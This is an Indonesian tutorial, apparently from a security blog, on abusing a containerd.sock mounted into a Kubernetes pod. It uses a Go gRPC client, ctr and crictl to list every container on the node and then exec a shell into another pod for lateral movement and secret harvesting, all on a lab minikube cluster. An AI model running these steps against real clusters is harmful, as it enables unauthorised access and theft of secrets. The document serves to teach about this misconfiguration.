Berinteraksi Dengan Socket containerd Dari Dalam Pod
Anggap saja saya berhasil mendapatkan shell di Pod yang men-mount containerd.sock
dari host ke dalam Pod tersebut. File containerd.sock
adalah Unix socket yang disediakan untuk berinteraksi dengan containerd
(sama seperti file docker.sock
yang dipakai oleh perintah docker
). Apa yang bisa saya lakukan dengan file socket tersebut?
Container Runtime Interface (CRI) adalah komponen Kubernetes yang berkomunikasi dengan container runtime. Dengan CRI, Kubernetes tidak perlu terikat pada satu jenis container runtime. Pada awalnya, container runtime yang dipakai oleh Kubernetes adalah Docker. Namun, saat ini status Docker sebagai CRI sudah deprecated. Salah satu calon penerusnya adalah containerd
. Ia merupakan alternatif yang paling banyak dipakai (misalnya containerd
adalah CRI default di GKE).
Bila dilihat dari luar, tidak ada perubahan berarti karena developer tetap menggunakan Docker untuk membuat image baru. Namun, khusus untuk aplikasi yang perlu berinteraksi langsung dengan container runtime seperti monitoring agent, lokasi file socket untuk containerd
adalah /run/containerd/containerd.sock
(yang juga tersedia di /var/run/containerd/containerd.sock
). Lokasi ini berbeda dengan socket Docker yang ada di /var/run/docker.sock
.
Sebagai latihan, anggap saja saya berada di sebuah cluster Kubernetes yang menggunakan containerd
dan memiliki workload dengan definisi seperti berikut ini:
apiVersion: apps/v1kind: Deploymentmetadata: name: nginx labels: app: nginxspec: replicas: 1 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: securityContext: {} containers: - name: nginx image: ubuntu/nginx:latest imagePullPolicy: IfNotPresent volumeMounts: - name: containerd-sock mountPath: /run/containerd/containerd.sock volumes: - name: containerd-sock hostPath: path: /run/containerd/containerd.sock---
apiVersion: apps/v1kind: Deploymentmetadata: name: internal-secret-nginx labels: app: internal-secret-nginxspec: replicas: 1 selector: matchLabels: app: internal-secret-nginx template: metadata: labels: app: internal-secret-nginx spec: containers: - name: nginx image: ubuntu/nginx:latest imagePullPolicy: IfNotPresent
Pada definisi di atas, terdapat 2 Deployment berbeda: nginx
dan internal-secret-nginx
. Deployment nginx
memiliki akses ke /run/containerd/containerd.sock
yang ada di host. Bila seandainya saya berhasil mendapatkan shell di Pod nginx
, maka secara tidak langsung saya juga bisa melakukan lateral movement untuk mendapatkan shell di Pod internal-secret-nginx
.
Metode Low Level
Berbeda dengan Docker yang menggunakan HTTP, containerd
menggunakan protokol gRPC dalam komunikasi socket-nya. Oleh sebab itu, saya tidak bisa menggunakan cURL seperti di socket Docker. Cara yang paling gampang untuk menggunakan gRPC adalah membuat kode program client gRPC. Saya akan mulai dengan membuat sebuah proyek Go baru dan memberikan perintah berikut ini untuk menambahkan dependency ke library gRPC:
$ go get google.golang.org/grpc@latest$ go get google.golang.org/protobuf@latest$ go get github.com/containerd/containerd/api/services/containers/v1$ go get github.com/containerd/containerd/protobuf/types$ go get github.com/containerd/containerd/errdefs
Saya kemudian membuat kode program berikut ini:
package main
import ( "context" containersapi "github.com/containerd/containerd/api/services/containers/v1" "github.com/containerd/containerd/namespaces" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" "log")
type namespaceInterceptor struct { namespace string}
func (ni namespaceInterceptor) unary(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error { _, ok := namespaces.Namespace(ctx) if !ok { ctx = namespaces.WithNamespace(ctx, ni.namespace) } return invoker(ctx, method, req, reply, cc, opts...)}
func (ni namespaceInterceptor) stream(ctx context.Context, desc *grpc.StreamDesc, cc *grpc.ClientConn, method string, streamer grpc.Streamer, opts ...grpc.CallOption) (grpc.ClientStream, error) { _, ok := namespaces.Namespace(ctx) if !ok { ctx = namespaces.WithNamespace(ctx, ni.namespace) }
return streamer(ctx, desc, cc, method, opts...)}
func newNSInterceptors(ns string) (grpc.UnaryClientInterceptor, grpc.StreamClientInterceptor) { ni := namespaceInterceptor{ namespace: ns, } return grpc.UnaryClientInterceptor(ni.unary), grpc.StreamClientInterceptor(ni.stream)}
func main() { log.SetFlags(0) unary, stream := newNSInterceptors("k8s.io") gopts := []grpc.DialOption{ grpc.WithTransportCredentials(insecure.NewCredentials()), grpc.WithChainUnaryInterceptor(unary), grpc.WithStreamInterceptor(stream), } cn, err := grpc.NewClient("unix:///run/containerd/containerd.sock", gopts...) if err != nil { log.Fatalf("failed to connect: %v", err) } defer cn.Close() client := containersapi.NewContainersClient(cn) request := containersapi.ListContainersRequest{} resp, err := client.List(context.Background(), &request) if err != nil { log.Fatalf("failed to retrieve containers: %v", err) } containers := resp.GetContainers() for _, c := range containers { log.Printf("%s (%s) => %s\n", c.Labels["io.kubernetes.pod.name"], c.Labels["io.kubernetes.pod.namespace"], c.ID) }}
Pada kode program di atas, untuk menggunakan Unix socket di gRPC, saya melewatkan nilai seperti unix:///run/containerd/containerd.sock
sebagai argumen untuk grpc.NewClient()
. Kubernetes akan menggunakan namespace k8s.io
di containerd
sehingga saya perlu melewatkan interceptor untuk mengatur nilai namespace. Kemudian,saya memanggil method List
dari Containers
untuk mendapatkan daftar seluruh container yang ada.
Setelah men-build kode program di atas dan menyalin hasil binary-nya ke dalam Pod (misalnya di-download lewat HTTP), saya akan menemukan hasil eksekusinya yang terlihat seperti berikut ini:
nginx-6567f457b6-f8sld (default) => 37b522b2c3db88255dc10ec086019d62ec8a37eaa3d34c82f741b2e11cea4a10internal-secret-nginx-6f859b945c-xgbp2 (default) => 2b70c6759a460d05489f81c5e32f5bfb532c1fa2bca62254f45292aac2bf9369storage-provisioner (kube-system) => 0344447ae06850954acbeb2872750e21d019c5232803d00c46bc3e832da87c5bkube-scheduler-minikube (kube-system) => 096d0c75f9f1410327ab988bfa7cd0caed254323eb222e56df340915c9339544etcd-minikube (kube-system) => 16a12f0bf3c88a79f39096283fed86d71e7ef7e03b953876d0317fe47d8f6ae1kube-controller-manager-minikube (kube-system) => 1c554a79f0e42db1ba4b70495ee1a07358755a43f606f734168bf5abd93fd434kube-apiserver-minikube (kube-system) => 2a9724535060ac72c1f8ca2d2cd0ce118dd27af37211e518c69d5d317e2c3ed0...
Terlihat bahwa walaupun saya berada di Pod nginx
, saya bisa melihat container di Pod lain seperti milik Pod internal-secret-nginx
. Saya bahkan bisa melihat container milik Kubernetes di kube-system
.
Berkomunikasi dengan socket langsung dari kode program buatan sendiri tidak direkomendasikan karena repetitif dan rentan terhadap kesalahan (kecuali tujuannya adalah mengerjakan exploit tertentu). Saya melakukannya hanya untuk menunjukkan bahwa Unix socket milik container runtime seperti containerd.sock
dan docker.sock
dapat langsung dipakai untuk mengakses container runtime secara keseluruhan (walaupun kesannya terlihat hanya seperti sebuah file biasa). Cara yang lebih mudah untuk memanggil API containerd
adalah dengan menggunakan CLI resmi seperti ctr
dan crictl
.
ctr
CLI resmi yang dibuat untuk berkomunikasi dengan containerd
adalah ctr
. Tool ini sudah menjadi bagian dari file rilis containerd
. Sebagai contoh, untuk men-download file ini dari dalam shell milik Pod nginx
, saya akan memberikan perintah seperti berikut ini:
$ apt update && apt install curl$ cd /tmp$ curl -o containerd-2.0.0-linux-amd64.tar.gz -L https://github.com/containerd/containerd/releases/download/v2.0.0/containerd-2.0.0-linux-amd64.tar.gz$ tar xvf containerd-2.0.0-linux-amd64.tar.gz$ export PATH=$PATH:/tmp/bin
Setelah file berhasil di-download dan di-extract, saya dapat memberikan perintah seperti berikut ini untuk melihat container yang sedang aktif:
$ ctr -n k8s.io containers ls
#### Output:#### CONTAINER IMAGE RUNTIME## 37b522b2c3db88255dc10ec086019d62ec8a37eaa3d34c82f741b2e11cea4a10 docker.io/ubuntu/nginx:latest io.containerd.runc.v2## 2b70c6759a460d05489f81c5e32f5bfb532c1fa2bca62254f45292aac2bf9369 docker.io/ubuntu/nginx:latest io.containerd.runc.v2## 65671568bc715a7ee2384b98fd3876a61c641b2328202507956be4de77180be9 registry.k8s.io/kube-proxy:v1.31.0 io.containerd.runc.v2## 67a915b401fdfccacbc5bedc63ef0305290fb5963c44689dae00e665e89d0575 gcr.io/k8s-minikube/storage-provisioner:v5 io.containerd.runc.v2## ...
Tampilan dari ctr containers ls
terlihat sangat sederhana. Saya tidak punya menemukan pilihan untuk menambahkan kolom lain seperti label untuk melihat nama pod dan namespace dari setiap baris container id. Sebagai gantinya, saya bisa menggunakan perintah ctr containers info
untuk mendapat informasi detail setiap container satu per satu dengan menyertakan container id (kolom pertama) seperti pada perintah berikut ini:
$ ctr -n k8s.io containers info 37b522b2c3db88255dc10ec086019d62ec8a37eaa3d34c82f741b2e11cea4a10
#### Output:## {## "ID": "37b522b2c3db88255dc10ec086019d62ec8a37eaa3d34c82f741b2e11cea4a10",## "Labels": {## "io.cri-containerd.kind": "container",## "io.kubernetes.container.name": "nginx",## "io.kubernetes.pod.name": "nginx-6567f457b6-f8sld",## "io.kubernetes.pod.namespace": "default",## "io.kubernetes.pod.uid": "2c59e27c-b30c-4d26-ab56-9952132ec6c6",## "org.opencontainers.image.ref.name": "ubuntu",## "org.opencontainers.image.version": "24.04"## },## "Image": "docker.io/ubuntu/nginx:latest",## "Runtime": {## "Name": "io.containerd.runc.v2",## "Options": null## },## ...## }
$ ctr -n k8s.io containers info 2b70c6759a460d05489f81c5e32f5bfb532c1fa2bca62254f45292aac2bf9369
#### Output:## {## "ID": "2b70c6759a460d05489f81c5e32f5bfb532c1fa2bca62254f45292aac2bf9369",## "Labels": {## "io.cri-containerd.kind": "container",## "io.kubernetes.container.name": "nginx",## "io.kubernetes.pod.name": "internal-secret-nginx-6f859b945c-xgbp2",## "io.kubernetes.pod.namespace": "default",## "io.kubernetes.pod.uid": "0ed42806-b33b-448c-848a-691adee35f77",## "org.opencontainers.image.ref.name": "ubuntu",## "org.opencontainers.image.version": "24.04"## },## "Image": "docker.io/ubuntu/nginx:latest",## "Runtime": {## "Name": "io.containerd.runc.v2",## "Options": null## },## ...## }
Hasil di atas menunjukkan bahwa salah satu Pod internal-secret-nginx
dijalankan melalui container dengan ID 2b70c6759a460d05489f81c5e32f5bfb532c1fa2bca62254f45292aac2bf9369
. Sampai disini saya bisa melakukan lateral movement dengan mengerjakan perintah pada container tersebut. Namun, saat mencobanya, ctr
mengalami kegagalan dalam membuat pipe. Sebagai gantinya, pada langkah berikutnya, saya akan menggunakan crictl
.
crictl
Bila ctr
adalah tool yang datang dari containerd
, maka crictl
adalah tool resmi dari Kubernetes untuk berkomunikasi dengan komponen Container Runtime Interface (CRI). Dengan demikian, crictl
tidak hanya mendukung containerd
, namun juga container runtime lain yang didukung oleh CRI.
Untuk men-download crictl
, setelah mendapatkan akses shell ke container yang menjalankan nginx
, saya akan mengerjakan perintah berikut ini dari dalam container tersebut:
$ apt update && apt install curl$ cd /tmp$ curl -o crictl-v1.31.1-linux-amd64.tar.gz -L https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.31.1/crictl-v1.31.1-linux-amd64.tar.gz$ tar zxvf crictl-v1.31.1-linux-amd64.tar.gz
crictl
dapat menampilkan Pod (sama seperti kubectl
) dengan perintah seperti berikut ini:
# ./crictl pods
#### Output:#### POD ID CREATED STATE NAME NAMESPACE ATTEMPT RUNTIME## 321592394249f 1 hours ago Ready internal-secret-nginx-6f859b945c-xgbp2 default 2 (default)## 37b522b2c3db8 1 hours ago Ready nginx-6567f457b6-f8sld default 1 (default)## db727d77a96d4 1 hours ago Ready coredns-6f6b679f8f-c9mq2 kube-system 3 (default)## 72c11de1f09d3 1 hours ago Ready kube-proxy-tmk9f kube-system 3 (default)## ...
crictl
juga dapat menampilkan daftar container yang sedang berjalan dengan perintah seperti:
# ./crictl ps
#### Output:#### CONTAINER IMAGE CREATED STATE NAME ATTEMPT POD ID POD## e9770a607317a e07ed226fd3cf ago Running nginx 1 37b522b2c3db8 nginx-6567f457b6-f8sld## 30355778753f0 e07ed226fd3cf ago Running nginx 2 321592394249f internal-secret-nginx-6f859b945c-xgbp2## 378cfc55a016c 6e38f40d628db ago Running storage-provisioner 7 0344447ae0685 storage-provisioner## 9bfc662413843 cbb01a7bd410d ago Running coredns 3 db727d77a96d4 coredns-6f6b679f8f-c9mq2## ...
Terlihat bahwa hasil perintah crictl
jauh lebih lengkap bila dibandingkan dengan hasil ctr
sebelumnya.
Sekarang, saatnya untuk melakukan lateral movement. Dari Pod nginx
, saya akan mengerjakan perintah berikut ini untuk masuk ke container milik internal-secret-nginx
:
$ ./crictl exec -it 30355778753f0 bashroot@internal-secret-nginx-6f859b945c-xgbp2:/# hostname#### Output:## internal-secret-nginx-6f859b945c-xgbp2
Ini hampir sama seperti menjalankan kubectl exec -it
, hanya saja saya bukan nama Pod yang dilewatkan melainkan container id. Selain mengerjakan shell di container lain, saya juga dapat melihat environment variables di container yang ada karena biasanya nilai secret akan dilewatkan sebagai environment variables.